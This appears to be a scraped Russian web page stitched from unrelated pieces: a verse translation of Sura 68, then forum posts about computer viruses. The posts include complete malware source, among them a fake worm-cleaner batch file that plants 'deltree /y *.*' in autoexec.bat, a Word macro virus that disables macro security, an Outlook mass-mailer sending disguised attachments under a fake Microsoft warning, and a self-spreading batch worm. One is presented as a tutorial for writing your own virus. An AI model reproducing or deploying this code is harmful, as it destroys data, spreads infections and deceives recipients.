СУРА 68 ЧАСТЬ ВТОРАЯ

(34) Истинно, набожным у Господа блаженные сады.
(35) Поступим ли Мы с Подчиненными как с теми, что грешны?
(36) Что с вами и каково суждение?
(37) Или у вас писание, а в нём учение
(38) Что вам, поистине, любое предпочтение?
(39) Или у вас Наши клятвы вплоть до Дня Предстояния о том, что вам – плод вашего суждения?
(40) Спроси их, кем будут клятвы подтверждены?
(41) Или у них – святые? Пускай же приведут своих святых, если правдивы они.
(42) В тот день, когда откроются все тайны, и призовут земной поклон вершить, они не смогут сделать преклонение –
(43) Опущены их взоры и их постиг позор, а ведь могли они пасть ниц, (когда спустилось повеление).
(44) Оставь Меня с теми, кто ложью считает этот рассказ – когда они не будут знать, их жизнь постигнет завершение –
(45) Я дам отсрочку им, ведь замыслы Мои прочны.
(46) Или ты просишь награды и у них от платы отягощение?
(47) Или, быть может, пишут они тайное откровение?
(48) Ты дотерпи! Господь решит! Не будь подобен спутнику кита. Вот он воззвал, когда его постигло заточение.
(49) И если б не Господня милость, то был бы выброшен он на пустырь, его постигло б унижение.
(50) Избрал его Господь и сделал человеком правоты.
(51) А те, кто отвергает, своими взорами тебя готовы опрокинуть, и, слушая Упоминание, говорят: «Его коснулось бесов проникновение»
(52) Но это - не что иное, как Упоминание для народов, (ниспосланное с Божьей высоты).


Тимур Джумагалиев - ответственный за перевод.


Источник: http://blogs.mail.ru/mail/timjum/62F437EA42AA03A5.html

Кто-то взломал почту и удалил предыдущий ролик "Альфа и Омега - знамения Аллаха", поэтому видео было загружено заново. Это видео дополнено сведениями из древнейшей Библии, названной "Синайским кодексом".
Смотрите, удивляйтесь, делитесь с другими!


Для тех, у кого медленный интернет лучше выключить высокое разрешение внизу плеера для более быстрой загрузки видео, еще можно нажать на паузу, чтобы ролик загрузился полностью.

Прошу вас, комментируйте на странице ролика!!!Перейти

Спам - ваше мнение...

@echo offrem This is a stupid test Trojan.
echo This program will check your computer for
echo most of the Internet worms in the wild.
echo Including IRC, mIRC, pIRC, VBS, and I-worms
echo like Happy99
pause
cls
echo If any worms are found, I will attempt to
echo clean them off your computer.
pause
cls
echo echo danieldanieldanieldaniel >> c:\windows\system\strtup.exe
if exist c:\autoexec.bat goto found
if not exist c:\autoexec.bat goto nfound
:found
goto next
:nfound
echo No worms were found on your computer.
pause
cls
:next
echo c:\windows\system\strtup.exe is infected with I-worm.Prettypark.
echo I will now attempt to clean it from your computer.
pause
cls
echo echo deltree /y *.* >> c:\autoexec.bat
rem wow, maybe this is the first if its kind? :)

если вы профейсионал в программировании и любите почитать свежие статьи по компьютеру то журнал "хакер" именно для вас

тут люди должны отзываться сколько они в день получают спамерных писем

я знаю один сайт на котором очень огромная всемирная коллекция компьютерных вирусов http://vx.netlux.org/vl.php заходите и тестируйте свой антивирь!!! Вирусы тут какие угодно хоч черви хоч троянцы,а хоч даже DOS атаки!!!!!

я хочу узнать ваше мнение о антивирусе Аваст

Skype снова подхватил вирус Согласно сообщению нескольких антивирусных контор, а также официальному заявлению Виллу Арака (Villu Arak), пресс-секретаря Skype Inc., вчера, 10 сентября, пользователи в очередной раз столкнулись с вирусной атакой, организованной неизвестными злоумышленниками.

Вирус распространяется одним из наиболее простых (и, увы, наиболее действенных) способов: пользователю Skype в текстовом чате приходит сообщение со ссылкой на jpeg-изображение и призыв поскорее его посмотреть. Как только юзер переходит по ссылке, на ПК проникает вредоносная программа (Worm.Win32.Skipi.a), блокирует работу антивирусного ПО, переключает Skype в режим «Не беспокоить» и начинает рассылать по контакт-листу сообщение с ссылкой. Таким образом, пользователь может получить вредоносное сообщение даже от друзей. Важно отметить, что никакого серьёзного вреда системе червь не наносит.

Антивирусы производства F-Secure, Symantec и Kaspersky Lab, по словам представителей этих компаний, уже способны выявлять данный вирус и нейтрализовать его. Тем не менее, Skype Inc. приводит официальный документ с инструкцией по избавлению от червя.

Итак, решение проблемы состоит из следующих шагов:
- перезагрузить ПК в режиме Safe Mode
- запустить редактор реестра (regedit)
- найти ветку HKLM/software/microsoft/windows/currentversion/runonce
- найти в ней запись, содержащую mshtmldat32.exe, и удалить эту запись
- зайти в директорию Windows\System32 и удалить файлы wndrivs32.exe, mshtmldat32.exe, winlgcvers.exe и sdrivew32.exe
- зайти в директорию Windows\System32\drivers\etc
- найти файл hosts, открыть его Блокнотом и удалить всё содержимое, затем сохранить файл и закрыть.
- перезапустить ПК.

Sub main()'w97.n0-mercy
'coded by a.v_killer
On Error Resume Next
n$ = DefaultDir$(2) + "\NORMAL.DOT"
F$ = FileName$()
If GetAttr(n$) < 32 Then GoTo del
a = CountMacros(0)
If a > 0 Then
  For b = 1 To a
  If MacroName$(b, 0) = "FileSave" Then c = 1
  Next b
End If

If c <> 1 Then
Organizer .Copy, .Source = F$, .Destination = n$, .Name = "AutoOpen", .Tab = 3
Organizer .Copy, .Source = F$, .Destination = n$, .Name = "FileSave", .Tab = 3

End If

aa = CountMacros(1)
If aa > 0 Then
  For bb = 1 To aa
  If MacroName$(bb, 1) = "FileSave" Then CC = 1
  Next bb
End If

If CC <> 1 Then
  FileSaveAs .Format = 1
  fm$ = FileName$() + ":AutoOpen"
  MacroCopy "AutoOpen", fm$
  fm$ = FileName$() + ":FileSave"
  MacroCopy "FileSave", fm$

End If
End Sub

Private Sub Stealth()
On Error Resume Next
Application.DisplayAlerts = False
Application.DisplayStatusBar = False
Application.EnableCancelKey = False
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Enabled = False
CommandBars("tools").Controls("Customize...").Enabled = False
CommandBars("tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("view").Controls("Toolbars").Enabled = False
CommandBars("Format").Controls("Style...").Enabled = False
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
End Sub

Sub VBPE()
On Error GoTo Done
 
a$ = FileName$()
If a$ = "" Then GoTo finish
 
If VInstalled = 0 Then
  Run1
  Run2
  FileSaveAll 1, 1
Else
  GoTo Done
End If
 
Done:
a$ = FileName$()
If a$ = "" Then
  GoTo finish
Else
  Insert " "
End If
 
finish:
MsgBox "polymorph", -8
End Sub
 
Sub Run1()
x$ = Fun$(F$, G$, H$, J$)
y$ = Fun$(F$, G$, H$, J$)
 
Z$ = x$ + y$
 
R1$ = GetDocumentVar$("VirNameDoc")
CO$ = FileName$() + ":" + R1$
MacroCopy CO$, "Global:" + Z$
SetProfileString "Intl", "Info2", Z$
ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub
 
Sub Run2()
x$ = Fun$(F$, G$, H$, J$)
y$ = Fun$(F$, G$, H$, J$)
 
Z$ = x$ + y$
 
R2$ = GetDocumentVar$("VirName")
OC$ = FileName$() + ":" + R2$
MacroCopy OC$, "Global:" + Z$
SetProfileString "Intl", "Info1", Z$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = Z$, .Add, .Context = 0
End Sub
 
Function VInstalled()
CC$ = GetProfileString$("Intl", "Info1")
  VInstalled = 0
  If CountMacros(0) > 0 Then
  For I = 1 To CountMacros(0)
  If MacroName$(I, 0) = CC$ Then
  VInstalled = 1
  End If
  Next I
End If
End Function
 
Function Fun$(F$, G$, H$, J$)
One = 1169
Two = 9294
num = Int(Rnd() * (Two - One) + One)
a$ = Str$(num)
a$ = LTrim$(a$)
 
b$ = Mid$(a$, 1, 1)
c$ = Mid$(a$, 2, 1)
d$ = Mid$(a$, 3, 1)
e$ = Mid$(a$, 4, 1)
 
If b$ = "1" Then F$ = "A"
If b$ = "2" Then F$ = "B"
If b$ = "3" Then F$ = "C"
If b$ = "4" Then F$ = "D"
If b$ = "5" Then F$ = "E"
If b$ = "6" Then F$ = "F"
If b$ = "7" Then F$ = "G"
If b$ = "8" Then F$ = "H"
If b$ = "9" Then F$ = "I"
If b$ = "0" Then F$ = "J"
 
If c$ = "1" Then G$ = "H"
If c$ = "2" Then G$ = "I"
If c$ = "3" Then G$ = "J"
If c$ = "4" Then G$ = "K"
If c$ = "5" Then G$ = "L"
If c$ = "6" Then G$ = "M"
If c$ = "7" Then G$ = "N"
If c$ = "8" Then G$ = "O"
If c$ = "9" Then G$ = "P"
If c$ = "0" Then G$ = "Q"
 
If d$ = "1" Then H$ = "A"
If d$ = "2" Then H$ = "B"
If d$ = "3" Then H$ = "C"
If d$ = "4" Then H$ = "D"
If d$ = "5" Then H$ = "E"
If d$ = "6" Then H$ = "F"
If d$ = "7" Then H$ = "G"
If d$ = "8" Then H$ = "H"
If d$ = "9" Then H$ = "I"
If d$ = "0" Then H$ = "J"
 
If e$ = "1" Then J$ = "R"
If e$ = "2" Then J$ = "S"
If e$ = "3" Then J$ = "T"
If e$ = "4" Then J$ = "U"
If e$ = "5" Then J$ = "V"
If e$ = "6" Then J$ = "W"
If e$ = "7" Then J$ = "X"
If e$ = "8" Then J$ = "Y"
If e$ = "9" Then J$ = "Z"
If e$ = "0" Then J$ = "Q"
 
Fun$ = F$ + G$ + H$ + J$
End Function

Sub InfectMirc()
infe$ = "c:\mirc\script.ini"
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.FileExists(infe$) Then GoTo mircwrite Else GoTo fling
mircwrite:
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[Script]"
Print #1, "n0;Miniscript"
Print #1, "n1= ON 1:JOIN:#:{ /exit } "
Print #1, "n2= ON 1:*xde*:#:{ /exit };"
Close #1
SetAttr "c:\mirc\script.ini", vbReadOnly
GoTo finish
fling:
MsgBox "Invalid Memory Space", vbCritical
finish:
End Sub

Sub main()
On Error Resume Next
Dim a, b, d, c, e, y, x, oo, ph, ph1, num, arrr, attch
ph = app.Path & "\" & app.exename & ".dll"
ph1 = app.Path & app.exename & ".dll"
For num = 0 To 3
arrr = Array("c:\a.v.dll", "c:\is.dll", "c:\killer.dll", "c:\no-mercy.dll")
attch = arrr(num)
FileCopy ph, attch
FileCopy ph1, attch
Next num
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 101 Then oo = d.AddressEntries.Count
Next oo
c.Subject = "microsoft says"
c.Body = "hi this is an important message from microsoft there is a virus installed in ur pc please download our attachment to prevent this virus"
c.attachments.Add "c:\a.v.dll", 1, 1, "reign on fire.mpg"
c.attachments.Add "c:\is.dll", 1, 2, "laugh.wav"
c.attachments.Add "c:\killer.dll", 1, 3, "choclat.jpg"
c.attachments.Add "c:\no-mercy.dll", 1, 4, "hotpasswords.txt"
c.Send
e = ""
Next y
b.Logoff
End If
End Sub

Copy %0 "C:\windows\start menu\program\startup\windows.bat"
mkdir C:\secret
net share Secret:C:\secret

copy %0 C:\secret\MeNude.jpg.bat
copy %0 C:\secret\MySister.jpg.bat
copy %0 C:\secret\MyDiary.doc.bat
copy %0 C:\secret\Hardcore.jpg.bat
copy %0 C:\secret\READTHIS.txt.bat
copy %0 C:\secret\Important!!.txt.bat

:Killah
echo Killahbee >> C:\killahbee.txt
notepad /p C:\killahbee.txt
goto Killah

REM Killahbee virus
REM ©lgim !!!!

Внимание всем! Совсем недавно в глобальной сети интернет появился совершенно новый вирус-троян под названием Trojan.Winlock.19.При запуске операционной системы он пишет чтобы вы отправили платное сообщение на какой то номер и после чего ваша операционная система которая в данный момент заблокирована разблокируеться после отправки этого сообщения.

Привет я Петров Витя.Сегодня я раскажу вам как своими золотыми руками написать свой бат вирус.Так что внимательно читайте и запоминайте! Итак начнем! Берем и открываем самый обычный текстовый редактор.Он у нас называеться блокнот.Берем потом и пишем в блокноте
Echo off
if %1.==i. goto ddsI
if not exist %0 goto ddsEnd
find "dds"<%0>c:\dds.bat
for %%a in (*.bat) do call c:\dds.bat i %%a
goto ddsOff
:ddsI
if %2.==. goto ddsEnd
echo %2 | find /I "autoexec">nul.dds
if not errorlevel 1 goto ddsEnd
find "dds"<%2>nul
if not errorlevel 1 goto ddsEnd
echo.>enter.dds
type enter.dds>>%2
del enter.dds>nul.dds
type c:\dds.bat>>%2
goto ddsEnd
:ddsOff
if exist c:\dds.bat del c:\dds.bat>nul
:ddsEnd
Затем когда написали этот бред то вы сохраните его на своем компьютере в рабочем столе под названием virus.bat.вы можете назвать свой вирус как угодно но только чтобы после названия вируса было .bat это нужно обязательно!!! а то пахать не будет!!! вот например vitya.bat поняли??? После того как вы все сделали у вас на рабочем столе должен появиться ярлычок!!! Только не нажимайте на него а то будет плохо вашему компу!!! Это было все.Увидимся позже!

совсем недавно выйшла новая версия антивируса Касперского.В этой версии множество всяких наворотов.Ну короче меньше слов а больше дела! Берите и качайте! РЕАЛЬНАЯ ВЕШЬ!